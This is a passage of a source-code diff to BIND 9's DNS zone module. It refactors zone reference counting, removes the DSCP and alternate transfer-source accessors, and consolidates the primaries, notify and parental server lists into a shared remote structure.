+		     zone->type == dns_zone_secondary ||
 		     zone->type == dns_zone_mirror))
 		{
 			dns_rdata_init(&rdata);
@@ -5445,12 +5463,8 @@ zone_count_ns_rr(dns_zone_t *zone, dns_db_t *db, dns_dbnode_t *node,
 	dns_rdataset_disassociate(&rdataset);
 
 success:
-	if (nscount != NULL) {
-		*nscount = count;
-	}
-	if (errors != NULL) {
-		*errors = ecount;
-	}
+	SET_IF_NOT_NULL(nscount, count);
+	SET_IF_NOT_NULL(errors, ecount);
 
 	result = ISC_R_SUCCESS;
 
@@ -5460,11 +5474,6 @@ zone_count_ns_rr(dns_zone_t *zone, dns_db_t *db, dns_dbnode_t *node,
 	return (result);
 }
 
-#define SET_IF_NOT_NULL(obj, val) \
-	if (obj != NULL) {        \
-		*obj = val;       \
-	}
-
 #define SET_SOA_VALUES(soattl_v, serial_v, refresh_v, retry_v, expire_v, \
 		       minimum_v)                                        \
 	{                                                                \
@@ -5592,72 +5601,38 @@ zone_get_from_db(dns_zone_t *zone, dns_db_t *db, unsigned int *nscount,
 	return (answer);
 }
 
-void
-dns_zone_attach(dns_zone_t *source, dns_zone_t **target) {
-	REQUIRE(DNS_ZONE_VALID(source));
-	REQUIRE(target != NULL && *target == NULL);
-	isc_refcount_increment(&source->erefs);
-	*target = source;
-}
-
-void
-dns_zone_detach(dns_zone_t **zonep) {
-	REQUIRE(zonep != NULL && DNS_ZONE_VALID(*zonep));
-	dns_zone_t *zone = *zonep;
-	*zonep = NULL;
+static void
+zone_destroy(dns_zone_t *zone) {
+	isc_refcount_destroy(&zone->references);
 
-	bool free_now = false;
-	dns_zone_t *raw = NULL;
-	dns_zone_t *secure = NULL;
-	if (isc_refcount_decrement(&zone->erefs) == 1) {
-		isc_refcount_destroy(&zone->erefs);
+	/*
+	 * Stop things being restarted after we cancel them below.
+	 */
+	DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_EXITING);
+	dns_zone_log(zone, ISC_LOG_DEBUG(1), "final reference detached");
 
-		LOCK_ZONE(zone);
-		INSIST(zone != zone->raw);
+	if (zone->loop == NULL) {
 		/*
-		 * We just detached the last external reference.
+		 * This zone is unmanaged; we're probably running in
+		 * named-checkzone or a unit test. There's no loop, so we
+		 * need to free it immediately.
 		 */
-		if (zone->task != NULL) {
-			/*
-			 * This zone is being managed.	Post
-			 * its control event and let it clean
-			 * up synchronously in the context of
-			 * its task.
-			 */
-			isc_event_t *ev = &zone->ctlevent;
-			isc_task_send(zone->task, &ev);
-		} else {
-			/*
-			 * This zone is not being managed; it has
-			 * no task and can have no outstanding
-			 * events.  Free it immediately.
-			 */
-			/*
-			 * Unmanaged zones should not have non-null views;
-			 * we have no way of detaching from the view here
-			 * without causing deadlock because this code is called
-			 * with the view already locked.
-			 */
-			INSIST(zone->view == NULL);
-			free_now = true;
-			raw = zone->raw;
-			zone->raw = NULL;
-			secure = zone->secure;
-			zone->secure = NULL;
-		}
-		UNLOCK_ZONE(zone);
-	}
-	if (free_now) {
-		if (raw != NULL) {
-			dns_zone_detach(&raw);
-		}
-		if (secure != NULL) {
-			dns_zone_idetach(&secure);
-		}
-		zone_free(zone);
+		zone_shutdown(zone);
+	} else {
+		/*
+		 * This zone has a loop; it can clean
+		 * itself up asynchronously.
+		 */
+		isc_async_run(zone->loop, zone_shutdown, zone);
 	}
 }
 
+#if DNS_ZONE_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_zone, zone_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_zone, zone_destroy);
+#endif
+
 void
 dns_zone_iattach(dns_zone_t *source, dns_zone_t **target) {
 	REQUIRE(DNS_ZONE_VALID(source));
@@ -5673,7 +5648,7 @@ zone_iattach(dns_zone_t *source, dns_zone_t **target) {
 	REQUIRE(LOCKED_ZONE(source));
 	REQUIRE(target != NULL && *target == NULL);
 	INSIST(isc_refcount_increment0(&source->irefs) +
-		       isc_refcount_current(&source->erefs) >
+		       isc_refcount_current(&source->references) >
 	       0);
 	*target = source;
 }
@@ -5692,14 +5667,13 @@ zone_idetach(dns_zone_t **zonep) {
 	*zonep = NULL;
 
 	INSIST(isc_refcount_decrement(&zone->irefs) - 1 +
-		       isc_refcount_current(&zone->erefs) >
+		       isc_refcount_current(&zone->references) >
 	       0);
 }
 
 void
 dns_zone_idetach(dns_zone_t **zonep) {
 	dns_zone_t *zone;
-	bool free_needed;
 
 	REQUIRE(zonep != NULL && DNS_ZONE_VALID(*zonep));
 
@@ -5707,6 +5681,7 @@ dns_zone_idetach(dns_zone_t **zonep) {
 	*zonep = NULL;
 
 	if (isc_refcount_decrement(&zone->irefs) == 1) {
+		bool free_needed;
 		LOCK_ZONE(zone);
 		free_needed = exit_check(zone);
 		UNLOCK_ZONE(zone);
@@ -5736,19 +5711,43 @@ dns_zone_setkasp(dns_zone_t *zone, dns_kasp_t *kasp) {
 
 	LOCK_ZONE(zone);
 	if (zone->kasp != NULL) {
-		dns_kasp_t *oldkasp = zone->kasp;
-		zone->kasp = NULL;
-		dns_kasp_detach(&oldkasp);
+		dns_kasp_detach(&zone->kasp);
+	}
+	if (kasp != NULL) {
+		dns_kasp_attach(kasp, &zone->kasp);
+	}
+	UNLOCK_ZONE(zone);
+}
+
+void
+dns_zone_setdefaultkasp(dns_zone_t *zone, dns_kasp_t *kasp) {
+	REQUIRE(DNS_ZONE_VALID(zone));
+
+	LOCK_ZONE(zone);
+	if (zone->defaultkasp != NULL) {
+		dns_kasp_detach(&zone->defaultkasp);
+	}
+	if (kasp != NULL) {
+		dns_kasp_attach(kasp, &zone->defaultkasp);
 	}
-	zone->kasp = kasp;
 	UNLOCK_ZONE(zone);
 }
 
 dns_kasp_t *
 dns_zone_getkasp(dns_zone_t *zone) {
+	dns_kasp_t *kasp;
+
 	REQUIRE(DNS_ZONE_VALID(zone));
 
-	return (zone->kasp);
+	LOCK_ZONE(zone);
+	if (inline_raw(zone) && zone->secure != NULL) {
+		kasp = zone->secure->kasp;
+	} else {
+		kasp = zone->kasp;
+	}
+	UNLOCK_ZONE(zone);
+
+	return (kasp);
 }
 
 void
@@ -5805,125 +5804,55 @@ dns_zone_getxfrsource4(dns_zone_t *zone) {
 }
 
 isc_result_t
-dns_zone_setxfrsource4dscp(dns_zone_t *zone, isc_dscp_t dscp) {
+dns_zone_setxfrsource6(dns_zone_t *zone, const isc_sockaddr_t *xfrsource) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 
 	LOCK_ZONE(zone);
-	zone->xfrsource4dscp = dscp;
+	zone->xfrsource6 = *xfrsource;
 	UNLOCK_ZONE(zone);
 
 	return (ISC_R_SUCCESS);
 }
 
-isc_dscp_t
-dns_zone_getxfrsource4dscp(dns_zone_t *zone) {
+isc_sockaddr_t *
+dns_zone_getxfrsource6(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
-	return (zone->xfrsource4dscp);
+	return (&zone->xfrsource6);
 }
 
 isc_result_t
-dns_zone_setxfrsource6(dns_zone_t *zone, const isc_sockaddr_t *xfrsource) {
+dns_zone_setparentalsrc4(dns_zone_t *zone, const isc_sockaddr_t *parentalsrc) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 
 	LOCK_ZONE(zone);
-	zone->xfrsource6 = *xfrsource;
+	zone->parentalsrc4 = *parentalsrc;
 	UNLOCK_ZONE(zone);
 
 	return (ISC_R_SUCCESS);
 }
 
 isc_sockaddr_t *
-dns_zone_getxfrsource6(dns_zone_t *zone) {
+dns_zone_getparentalsrc4(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
-	return (&zone->xfrsource6);
-}
-
-isc_dscp_t
-dns_zone_getxfrsource6dscp(dns_zone_t *zone) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-	return (zone->xfrsource6dscp);
+	return (&zone->parentalsrc4);
 }
 
 isc_result_t
-dns_zone_setxfrsource6dscp(dns_zone_t *zone, isc_dscp_t dscp) {
+dns_zone_setparentalsrc6(dns_zone_t *zone, const isc_sockaddr_t *parentalsrc) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 
 	LOCK_ZONE(zone);
-	zone->xfrsource6dscp = dscp;
+	zone->parentalsrc6 = *parentalsrc;
 	UNLOCK_ZONE(zone);
 
 	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
-dns_zone_setaltxfrsource4(dns_zone_t *zone,
-			  const isc_sockaddr_t *altxfrsource) {
+isc_sockaddr_t *
+dns_zone_getparentalsrc6(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
-
-	LOCK_ZONE(zone);
-	zone->altxfrsource4 = *altxfrsource;
-	UNLOCK_ZONE(zone);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_sockaddr_t *
-dns_zone_getaltxfrsource4(dns_zone_t *zone) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-	return (&zone->altxfrsource4);
-}
-
-isc_result_t
-dns_zone_setaltxfrsource4dscp(dns_zone_t *zone, isc_dscp_t dscp) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-
-	LOCK_ZONE(zone);
-	zone->altxfrsource4dscp = dscp;
-	UNLOCK_ZONE(zone);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_dscp_t
-dns_zone_getaltxfrsource4dscp(dns_zone_t *zone) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-	return (zone->altxfrsource4dscp);
-}
-
-isc_result_t
-dns_zone_setaltxfrsource6(dns_zone_t *zone,
-			  const isc_sockaddr_t *altxfrsource) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-
-	LOCK_ZONE(zone);
-	zone->altxfrsource6 = *altxfrsource;
-	UNLOCK_ZONE(zone);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_sockaddr_t *
-dns_zone_getaltxfrsource6(dns_zone_t *zone) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-	return (&zone->altxfrsource6);
-}
-
-isc_result_t
-dns_zone_setaltxfrsource6dscp(dns_zone_t *zone, isc_dscp_t dscp) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-
-	LOCK_ZONE(zone);
-	zone->altxfrsource6dscp = dscp;
-	UNLOCK_ZONE(zone);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_dscp_t
-dns_zone_getaltxfrsource6dscp(dns_zone_t *zone) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-	return (zone->altxfrsource6dscp);
-}
+	return (&zone->parentalsrc6);
+}
 
 isc_result_t
 dns_zone_setnotifysrc4(dns_zone_t *zone, const isc_sockaddr_t *notifysrc) {
@@ -5942,23 +5871,6 @@ dns_zone_getnotifysrc4(dns_zone_t *zone) {
 	return (&zone->notifysrc4);
 }
 
-isc_result_t
-dns_zone_setnotifysrc4dscp(dns_zone_t *zone, isc_dscp_t dscp) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-
-	LOCK_ZONE(zone);
-	zone->notifysrc4dscp = dscp;
-	UNLOCK_ZONE(zone);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_dscp_t
-dns_zone_getnotifysrc4dscp(dns_zone_t *zone) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-	return (zone->notifysrc4dscp);
-}
-
 isc_result_t
 dns_zone_setnotifysrc6(dns_zone_t *zone, const isc_sockaddr_t *notifysrc) {
 	REQUIRE(DNS_ZONE_VALID(zone));
@@ -5976,274 +5888,70 @@ dns_zone_getnotifysrc6(dns_zone_t *zone) {
 	return (&zone->notifysrc6);
 }
 
-static bool
-same_addrs(isc_sockaddr_t const *oldlist, isc_sockaddr_t const *newlist,
-	   uint32_t count) {
-	unsigned int i;
-
-	for (i = 0; i < count; i++) {
-		if (!isc_sockaddr_equal(&oldlist[i], &newlist[i])) {
-			return (false);
-		}
-	}
-	return (true);
-}
-
-static bool
-same_names(dns_name_t *const *oldlist, dns_name_t *const *newlist,
-	   uint32_t count) {
-	unsigned int i;
-
-	if (oldlist == NULL && newlist == NULL) {
-		return (true);
-	}
-	if (oldlist == NULL || newlist == NULL) {
-		return (false);
-	}
-
-	for (i = 0; i < count; i++) {
-		if (oldlist[i] == NULL && newlist[i] == NULL) {
-			continue;
-		}
-		if (oldlist[i] == NULL || newlist[i] == NULL ||
-		    !dns_name_equal(oldlist[i], newlist[i]))
-		{
-			return (false);
-		}
-	}
-	return (true);
-}
-
-static void
-clear_primarieslist(isc_sockaddr_t **addrsp, isc_dscp_t **dscpsp,
-		    dns_name_t ***keynamesp, dns_name_t ***tlsnamesp,
-		    unsigned int *countp, isc_mem_t *mctx) {
-	unsigned int count;
-	isc_sockaddr_t *addrs;
-	isc_dscp_t *dscps;
-	dns_name_t **keynames;
-	dns_name_t **tlsnames;
-
-	REQUIRE(countp != NULL);
-	REQUIRE(addrsp != NULL);
-	REQUIRE(dscpsp != NULL);
-	REQUIRE(keynamesp != NULL);
-	REQUIRE(tlsnamesp != NULL);
-
-	count = *countp;
-	*countp = 0;
-	addrs = *addrsp;
-	*addrsp = NULL;
-	dscps = *dscpsp;
-	*dscpsp = NULL;
-	keynames = *keynamesp;
-	*keynamesp = NULL;
-	tlsnames = *tlsnamesp;
-	*tlsnamesp = NULL;
-
-	if (addrs != NULL) {
-		isc_mem_put(mctx, addrs, count * sizeof(isc_sockaddr_t));
-	}
-
-	if (dscps != NULL) {
-		isc_mem_put(mctx, dscps, count * sizeof(isc_dscp_t));
-	}
-
-	if (keynames != NULL) {
-		unsigned int i;
-		for (i = 0; i < count; i++) {
-			if (keynames[i] != NULL) {
-				dns_name_free(keynames[i], mctx);
-				isc_mem_put(mctx, keynames[i],
-					    sizeof(dns_name_t));
-				keynames[i] = NULL;
-			}
-		}
-		isc_mem_put(mctx, keynames, count * sizeof(dns_name_t *));
-	}
-
-	if (tlsnames != NULL) {
-		unsigned int i;
-		for (i = 0; i < count; i++) {
-			if (tlsnames[i] != NULL) {
-				dns_name_free(tlsnames[i], mctx);
-				isc_mem_put(mctx, tlsnames[i],
-					    sizeof(dns_name_t));
-				tlsnames[i] = NULL;
-			}
-		}
-		isc_mem_put(mctx, tlsnames, count * sizeof(dns_name_t *));
-	}
-}
-
-static isc_result_t
-set_primarieslist(unsigned int count, const isc_sockaddr_t *addrs,
-		  isc_sockaddr_t **newaddrsp, const isc_dscp_t *dscp,
-		  isc_dscp_t **newdscpp, dns_name_t **keynames,
-		  dns_name_t ***newkeynamesp, dns_name_t **tlsnames,
-		  dns_name_t ***newtlsnamesp, isc_mem_t *mctx) {
-	isc_sockaddr_t *newaddrs = NULL;
-	isc_dscp_t *newdscp = NULL;
-	dns_name_t **newkeynames = NULL;
-	dns_name_t **newtlsnames = NULL;
-	unsigned int i;
-
-	REQUIRE(newaddrsp != NULL && *newaddrsp == NULL);
-	REQUIRE(newdscpp != NULL && *newdscpp == NULL);
-	REQUIRE(newkeynamesp != NULL && *newkeynamesp == NULL);
-	REQUIRE(newtlsnamesp != NULL && *newtlsnamesp == NULL);
-
-	newaddrs = isc_mem_get(mctx, count * sizeof(*newaddrs));
-	memmove(newaddrs, addrs, count * sizeof(*newaddrs));
-
-	if (dscp != NULL) {
-		newdscp = isc_mem_get(mctx, count * sizeof(*newdscp));
-		memmove(newdscp, dscp, count * sizeof(*newdscp));
-	} else {
-		newdscp = NULL;
-	}
-
-	if (keynames != NULL) {
-		newkeynames = isc_mem_get(mctx, count * sizeof(*newkeynames));
-		for (i = 0; i < count; i++) {
-			newkeynames[i] = NULL;
-		}
-		for (i = 0; i < count; i++) {
-			if (keynames[i] != NULL) {
-				newkeynames[i] =
-					isc_mem_get(mctx, sizeof(dns_name_t));
-				dns_name_init(newkeynames[i], NULL);
-				dns_name_dup(keynames[i], mctx, newkeynames[i]);
-			}
-		}
-	}
-
-	if (tlsnames != NULL) {
-		newtlsnames = isc_mem_get(mctx, count * sizeof(*newtlsnames));
-		for (i = 0; i < count; i++) {
-			newtlsnames[i] = NULL;
-		}
-		for (i = 0; i < count; i++) {
-			if (tlsnames[i] != NULL) {
-				newtlsnames[i] =
-					isc_mem_get(mctx, sizeof(dns_name_t));
-				dns_name_init(newtlsnames[i], NULL);
-				dns_name_dup(tlsnames[i], mctx, newtlsnames[i]);
-			}
-		}
-	}
-
-	*newdscpp = newdscp;
-	*newaddrsp = newaddrs;
-	*newkeynamesp = newkeynames;
-	*newtlsnamesp = newtlsnames;
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_zone_setnotifysrc6dscp(dns_zone_t *zone, isc_dscp_t dscp) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-
-	LOCK_ZONE(zone);
-	zone->notifysrc6dscp = dscp;
-	UNLOCK_ZONE(zone);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_dscp_t
-dns_zone_getnotifysrc6dscp(dns_zone_t *zone) {
-	REQUIRE(DNS_ZONE_VALID(zone));
-	return (zone->notifysrc6dscp);
-}
-
-isc_result_t
-dns_zone_setalsonotify(dns_zone_t *zone, const isc_sockaddr_t *notify,
-		       const isc_dscp_t *dscps, dns_name_t **keynames,
+void
+dns_zone_setalsonotify(dns_zone_t *zone, isc_sockaddr_t *addresses,
+		       isc_sockaddr_t *sources, dns_name_t **keynames,
 		       dns_name_t **tlsnames, uint32_t count) {
-	isc_result_t result;
-	isc_sockaddr_t *newaddrs = NULL;
-	isc_dscp_t *newdscps = NULL;
-	dns_name_t **newkeynames = NULL;
-	dns_name_t **newtlsnames = NULL;
+	dns_remote_t remote;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
-	REQUIRE(count == 0 || notify != NULL);
-	if (keynames != NULL) {
-		REQUIRE(count != 0);
-	}
 
 	LOCK_ZONE(zone);
 
-	if (count == zone->notifycnt &&
-	    same_addrs(zone->notify, notify, count) &&
-	    same_names(zone->notifykeynames, keynames, count) &&
-	    same_names(zone->notifytlsnames, tlsnames, count))
-	{
-		goto unlock;
-	}
-
-	clear_primarieslist(&zone->notify, &zone->notifydscp,
-			    &zone->notifykeynames, &zone->notifytlsnames,
-			    &zone->notifycnt, zone->mctx);
+	remote.magic = DNS_REMOTE_MAGIC;
+	remote.addresses = addresses;
+	remote.sources = sources;
+	remote.keynames = keynames;
+	remote.tlsnames = tlsnames;
+	remote.addrcnt = count;
 
-	if (count == 0) {
+	if (dns_remote_equal(&zone->notify, &remote)) {
 		goto unlock;
 	}
 
+	dns_remote_clear(&zone->notify);
+
 	/*
-	 * Set up the notify and notifykey lists
+	 * If count == 0, don't allocate any space for servers to notify.
 	 */
-	result = set_primarieslist(count, notify, &newaddrs, dscps, &newdscps,
-				   keynames, &newkeynames, tlsnames,
-				   &newtlsnames, zone->mctx);
-	if (result != ISC_R_SUCCESS) {
+	if (count == 0) {
 		goto unlock;
 	}
 
 	/*
-	 * Everything is ok so attach to the zone.
+	 * Now set up the notify address and key lists.
 	 */
-	zone->notify = newaddrs;
-	zone->notifydscp = newdscps;
-	zone->notifykeynames = newkeynames;
-	zone->notifytlsnames = newtlsnames;
-	zone->notifycnt = count;
+	dns_remote_init(&zone->notify, count, addresses, sources, keynames,
+			tlsnames, true, zone->mctx);
+
 unlock:
 	UNLOCK_ZONE(zone);
-	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
-dns_zone_setprimaries(dns_zone_t *zone, const isc_sockaddr_t *masters,
-		      dns_name_t **keynames, dns_name_t **tlsnames,
-		      uint32_t count) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_sockaddr_t *newaddrs = NULL;
-	isc_dscp_t *newdscps = NULL;
-	dns_name_t **newkeynames = NULL;
-	dns_name_t **newtlsnames = NULL;
-	bool *newok;
-	unsigned int i;
+void
+dns_zone_setprimaries(dns_zone_t *zone, isc_sockaddr_t *addresses,
+		      isc_sockaddr_t *sources, dns_name_t **keynames,
+		      dns_name_t **tlsnames, uint32_t count) {
+	dns_remote_t remote;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
-	REQUIRE(count == 0 || masters != NULL);
-	if (keynames != NULL || tlsnames != NULL) {
-		REQUIRE(count != 0);
-	}
 
 	LOCK_ZONE(zone);
+
+	remote.magic = DNS_REMOTE_MAGIC;
+	remote.addresses = addresses;
+	remote.sources = sources;
+	remote.keynames = keynames;
+	remote.tlsnames = tlsnames;
+	remote.addrcnt = count;
+
 	/*
 	 * The refresh code assumes that 'primaries' wouldn't change under it.
 	 * If it will change then kill off any current refresh in progress
 	 * and update the primaries info.  If it won't change then we can just
 	 * unlock and exit.
 	 */
-	if (count != zone->masterscnt ||
-	    !same_addrs(zone->masters, masters, count) ||
-	    !same_names(zone->masterkeynames, keynames, count) ||
-	    !same_names(zone->mastertlsnames, tlsnames, count))
-	{
+	if (!dns_remote_equal(&zone->primaries, &remote)) {
 		if (zone->request != NULL) {
 			dns_request_cancel(zone->request);
 		}
@@ -6251,61 +5959,67 @@ dns_zone_setprimaries(dns_zone_t *zone, const isc_sockaddr_t *masters,
 		goto unlock;
 	}
 
+	dns_remote_clear(&zone->primaries);
+
 	/*
-	 * This needs to happen before clear_addresskeylist() sets
-	 * zone->masterscnt to 0:
-	 */
-	if (zone->mastersok != NULL) {
-		isc_mem_put(zone->mctx, zone->mastersok,
-			    zone->masterscnt * sizeof(bool));
-		zone->mastersok = NULL;
-	}
-	clear_primarieslist(&zone->masters, &zone->masterdscps,
-			    &zone->masterkeynames, &zone->mastertlsnames,
-			    &zone->masterscnt, zone->mctx);
-	/*
-	 * If count == 0, don't allocate any space for masters, mastersok or
-	 * keynames so internally, those pointers are NULL if count == 0
+	 * If count == 0, don't allocate any space for primaries.
 	 */
 	if (count == 0) {
 		goto unlock;
 	}
 
 	/*
-	 * mastersok must contain count elements
+	 * Now set up the primaries and primary key lists.
 	 */
-	newok = isc_mem_get(zone->mctx, count * sizeof(*newok));
-	for (i = 0; i < count; i++) {
-		newok[i] = false;
+	dns_remote_init(&zone->primaries, count, addresses, sources, keynames,
+			tlsnames, true, zone->mctx);
+
+	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NOPRIMARIES);
+
+unlock:
+	UNLOCK_ZONE(zone);
+}
+
+void
+dns_zone_setparentals(dns_zone_t *zone, isc_sockaddr_t *addresses,
+		      isc_sockaddr_t *sources, dns_name_t **keynames,
+		      dns_name_t **tlsnames, uint32_t count) {
+	dns_remote_t remote;
+
+	REQUIRE(DNS_ZONE_VALID(zone));
+
+	LOCK_ZONE(zone);
+
+	remote.magic = DNS_REMOTE_MAGIC;
+	remote.addresses = addresses;
+	remote.sources = sources;
+	remote.keynames = keynames;
+	remote.tlsnames = tlsnames;
+	remote.addrcnt = count;
+
+	if (dns_remote_equal(&zone->parentals, &remote)) {
+		goto unlock;
 	}
 
+	dns_remote_clear(&zone->parentals);
+
 	/*
-	 * Now set up the primaries and primary key lists
+	 * If count == 0, don't allocate any space for parentals.
 	 */
-	result = set_primarieslist(count, masters, &newaddrs, NULL, &newdscps,
-				   keynames, &newkeynames, tlsnames,
-				   &newtlsnames, zone->mctx);
-	INSIST(newdscps == NULL);
-	if (result != ISC_R_SUCCESS) {
-		isc_mem_put(zone->mctx, newok, count * sizeof(*newok));
+	if (count == 0) {
 		goto unlock;
 	}
 
 	/*
-	 * Everything is ok so attach to the zone.
+	 * Now set up the parentals and parental key lists.
 	 */
-	zone->curmaster = 0;
-	zone->mastersok = newok;
-	zone->masters = newaddrs;
-	zone->masterdscps = newdscps;
-	zone->masterkeynames = newkeynames;
-	zone->mastertlsnames = newtlsnames;
-	zone->masterscnt = count;
-	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NOMASTERS);
+	dns_remote_init(&zone->parentals, count, addresses, sources, keynames,
+			tlsnames, true, zone->mctx);
+
+	dns_zone_log(zone, ISC_LOG_NOTICE, "checkds: set %u parentals", count);
 
 unlock:
 	UNLOCK_ZONE(zone);
-	return (result);
 }
 
 isc_result_t
@@ -6336,24 +6050,7 @@ dns_zone_setdb(dns_zone_t *zone, dns_db_t *db) {
 	ZONEDB_UNLOCK(&zone->dblock, isc_rwlocktype_write);
 }
 
-/*
- * Coordinates the starting of routine jobs.
- */
-void
-dns_zone_maintenance(dns_zone_t *zone) {
-	const char me[] = "dns_zone_maintenance";
-	isc_time_t now;
-
-	REQUIRE(DNS_ZONE_VALID(zone));
-	ENTER;
-
-	LOCK_ZONE(zone);
-	TIME_NOW(&now);
-	zone_settimer(zone, &now);
-	UNLOCK_ZONE(zone);
-}
-
-static inline bool
+static bool
 was_dumping(dns_zone_t *zone) {
 	REQUIRE(LOCKED_ZONE(zone));
 
@@ -6367,58 +6064,6 @@ was_dumping(dns_zone_t *zone) {
 	return (false);
 }
 
-static void
-dns__zone_lockunlock_keyfiles(dns_zone_t *zone, bool lock) {
-	dns_viewlist_t *vlist = NULL;
-	dns_view_t *v = NULL;
-
-	REQUIRE(DNS_ZONE_VALID(zone));
-
-	if (zone->kasp == NULL) {
-		/* No need to lock, nothing is writing key files. */
-		return;
-	}
-
-	if (zone->view == NULL || zone->view->viewlist == NULL) {
-		if (lock) {
-			LOCK_KEYFILES(zone);
-		} else {
-			UNLOCK_KEYFILES(zone);
-		}
-		return;
-	}
-
-	/*
-	 * Also lock keyfiles for zones with the same name in a different view.
-	 */
-	vlist = zone->view->viewlist;
-	for (v = ISC_LIST_HEAD(*vlist); v != NULL; v = ISC_LIST_NEXT(v, link)) {
-		dns_zone_t *z = NULL;
-		isc_result_t ret = dns_view_findzone(v, &zone->origin, &z);
-		if (ret == ISC_R_SUCCESS) {
-			INSIST(DNS_ZONE_VALID(z));
-
-			/* WMM check if policy is the same? */
-			if (lock) {
-				LOCK_KEYFILES(z);
-			} else {
-				UNLOCK_KEYFILES(z);
-			}
-			dns_zone_detach(&z);
-		}
-	}
-}
-
-void
-dns_zone_lock_keyfiles(dns_zone_t *zone) {
-	dns__zone_lockunlock_keyfiles(zone, true);
-}
-
-void
-dns_zone_unlock_keyfiles(dns_zone_t *zone) {
-	dns__zone_lockunlock_keyfiles(zone, false);
-}
-
 /*%
  * Find up to 'maxkeys' DNSSEC keys used for signing version 'ver' of database
  * 'db' for zone 'zone' in its key directory, then load these keys into 'keys'.
@@ -6456,28 +6101,111 @@ dns__zone_findkeys(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
 	return (result);
 }
 
-static isc_result_t
-offline(dns_db_t *db, dns_dbversion_t *ver, dns__zonediff_t *zonediff,
-	dns_name_t *name, dns_ttl_t ttl, dns_rdata_t *rdata) {
+/*%
+ * Find DNSSEC keys used for signing zone with dnssec-policy. Load these keys
+ * into 'keys'. Requires KASP to be locked.
+ */
+isc_result_t
+dns_zone_getdnsseckeys(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver,
+		       isc_stdtime_t now, dns_dnsseckeylist_t *keys) {
 	isc_result_t result;
+	const char *dir = dns_zone_getkeydirectory(zone);
+	dns_dbnode_t *node = NULL;
+	dns_dnsseckey_t *key, *key_next;
+	dns_dnsseckeylist_t dnskeys;
+	dns_name_t *origin = dns_zone_getorigin(zone);
+	dns_kasp_t *kasp = zone->kasp;
+	dns_rdataset_t keyset;
 
-	if ((rdata->flags & DNS_RDATA_OFFLINE) != 0) {
-		return (ISC_R_SUCCESS);
+	REQUIRE(DNS_ZONE_VALID(zone));
+	REQUIRE(kasp != NULL);
+
+	ISC_LIST_INIT(dnskeys);
+
+	dns_rdataset_init(&keyset);
+
+	CHECK(dns_db_findnode(db, origin, false, &node));
+
+	/* Get keys from private key files. */
+	dns_zone_lock_keyfiles(zone);
+	result = dns_dnssec_findmatchingkeys(origin, dir, now,
+					     dns_zone_getmctx(zone), keys);
+	dns_zone_unlock_keyfiles(zone);
+
+	if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
+		goto failure;
 	}
-	result = update_one_rr(db, ver, zonediff->diff, DNS_DIFFOP_DELRESIGN,
-			       name, ttl, rdata);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
+
+	/* Get public keys (dnskeys). */
+	dns_rdataset_init(&keyset);
+	result = dns_db_findrdataset(db, node, ver, dns_rdatatype_dnskey,
+				     dns_rdatatype_none, 0, &keyset, NULL);
+	if (result == ISC_R_SUCCESS) {
+		CHECK(dns_dnssec_keylistfromrdataset(
+			origin, dir, dns_zone_getmctx(zone), &keyset, NULL,
+			NULL, false, false, &dnskeys));
+	} else if (result != ISC_R_NOTFOUND) {
+		CHECK(result);
 	}
-	rdata->flags |= DNS_RDATA_OFFLINE;
-	result = update_one_rr(db, ver, zonediff->diff, DNS_DIFFOP_ADDRESIGN,
-			       name, ttl, rdata);
-	zonediff->offline = true;
-	return (result);
-}
 
-static void
-set_key_expiry_warning(dns_zone_t *zone, isc_stdtime_t when,
+	/* Add new 'dnskeys' to 'keys'. */
+	for (dns_dnsseckey_t *k1 = ISC_LIST_HEAD(dnskeys); k1 != NULL;
+	     k1 = key_next)
+	{
+		dns_dnsseckey_t *k2 = NULL;
+		key_next = ISC_LIST_NEXT(k1, link);
+
+		for (k2 = ISC_LIST_HEAD(*keys); k2 != NULL;
+		     k2 = ISC_LIST_NEXT(k2, link))
+		{
+			if (dst_key_compare(k1->key, k2->key)) {
+				break;
+			}
+		}
+		/* No match found, add the new key. */
+		if (k2 == NULL) {
+			ISC_LIST_UNLINK(dnskeys, k1, link);
+			ISC_LIST_APPEND(*keys, k1, link);
+		}
+	}
+
+failure:
+	if (dns_rdataset_isassociated(&keyset)) {
+		dns_rdataset_disassociate(&keyset);
+	}
+	if (node != NULL) {
+		dns_db_detachnode(db, &node);
+	}
+	while (!ISC_LIST_EMPTY(dnskeys)) {
+		key = ISC_LIST_HEAD(dnskeys);
+		ISC_LIST_UNLINK(dnskeys, key, link);
+		dns_dnsseckey_destroy(dns_zone_getmctx(zone), &key);
+	}
+	return (result);
+}
+
